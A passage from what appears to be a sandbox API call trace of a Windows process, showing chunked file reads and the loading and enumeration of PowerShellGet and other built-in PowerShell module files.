lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.487] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x2a000 [0159.487] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.487] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x2b000 [0159.487] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.488] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x2c000 [0159.488] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.488] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x2d000 [0159.488] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.488] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x2e000 [0159.488] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.489] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x2f000 [0159.489] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.489] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x30000 [0159.489] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.490] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x31000 [0159.490] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.490] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x32000 [0159.490] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.491] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x33000 [0159.491] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.491] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x34000 [0159.491] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.491] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x35000 [0159.491] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.492] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x36000 [0159.492] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.492] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x37000 [0159.492] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.492] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x38000 [0159.492] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.493] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x39000 [0159.493] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.493] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x3a000 [0159.493] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.494] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x3b000 [0159.494] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.494] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x3c000 [0159.494] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.494] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x3d000 [0159.494] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.495] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x3e000 [0159.495] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.535] CloseHandle (hObject=0x3d0) returned 1 [0159.917] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0159.917] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0159.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d50c) returned 1 [0159.917] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), fInfoLevelId=0x0, lpFileInformation=0x2712ec0 | out: lpFileInformation=0x2712ec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9860, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8caa9)) returned 1 [0159.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d508) returned 1 [0159.925] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0159.925] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0159.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e304) returned 1 [0159.925] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x27371f4 | out: lpFileInformation=0x27371f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0159.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e300) returned 1 [0159.955] EtwEventActivityIdControl () returned 0x0 [0159.959] SetEvent (hEvent=0x420) returned 1 [0159.960] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a2eae4*=0x420, lpdwindex=0x5a2e908 | out: lpdwindex=0x5a2e908) returned 0x0 [0159.962] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0159.962] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0159.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e9c4) returned 1 [0159.962] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x273a1c0 | out: lpFileInformation=0x273a1c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0159.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e9c0) returned 1 [0159.963] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0159.964] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0159.964] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0159.964] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0159.964] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0159.964] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0159.969] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0159.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ecd4) returned 1 [0159.971] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0159.971] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0159.971] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\*"), lpFindFileData=0x5a2ea84 | out: lpFindFileData=0x5a2ea84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b49e8 [0159.971] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.972] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0159.972] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0159.972] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0159.972] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0159.972] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0159.972] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0159.972] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0159.972] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0159.972] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0159.973] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0159.973] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0159.973] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0159.973] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0159.973] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0159.973] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: 